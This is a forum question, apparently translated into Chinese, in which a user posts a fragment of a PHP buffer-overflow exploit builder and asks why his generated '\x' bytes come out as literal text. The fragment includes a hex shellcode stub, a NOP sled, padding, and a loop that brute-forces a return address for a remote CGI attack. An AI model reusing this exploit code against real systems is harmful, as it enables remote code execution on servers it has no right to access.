【发布时间】:2014-04-15 18:21:36
【问题描述】:
我目前正在做很多关于 shellcode 和 CGI 远程攻击的事情。我需要用 PHP 编写。
目前我有以下问题,当我以 hexform ala "\xf2" 创建一个字节时,它被解释为字符串而不是字节。
我的代码摘要:
function createByte(){
$hex = array(0,1,2,3,4,5,6,7,8,9,"a","b","c","d","e","f");
$byte = array();
foreach($hex as $c){
foreach($hex as $b){
$byte[] = "\\x" . $c.$b;
}
}
return $byte;
}
$SHELLCODE =
"\xbb\xaa\xcf\x88\x13\xd9\xc8\xd9\x74\x24\xf4\x5a
\x31\xc9\xb1\x01\x83\xea\xfc\x31\x5a\x0e\x03\xf0
\xc1\x6a\xe6";
echo "[+] creating the sled.\n";
$CODE = str_repeat("\x90", EVIL_SPACE_SIZE);
for ($i = 0, $j = EVIL_SPACE_SIZE - strlen($SHELLCODE) - 1 ;
$i < strlen($SHELLCODE) ; $i++, $j++) {
$CODE[$j] = $SHELLCODE[$i];
}
$b = array();
foreach(createByte() as $add){
$b[] = str_repeat("A", 23).$CODE.$add.EVIL_SPACE_ADDR;
}
实际上,在某些时候会出现“�j��\x36���”。如您所见,\x36 是一个字符串,而不是其他字节。
如何实现 \x36 成为正确的字节? $CODE 得到了正确的字节。
一切顺利, 理查德
【问题讨论】: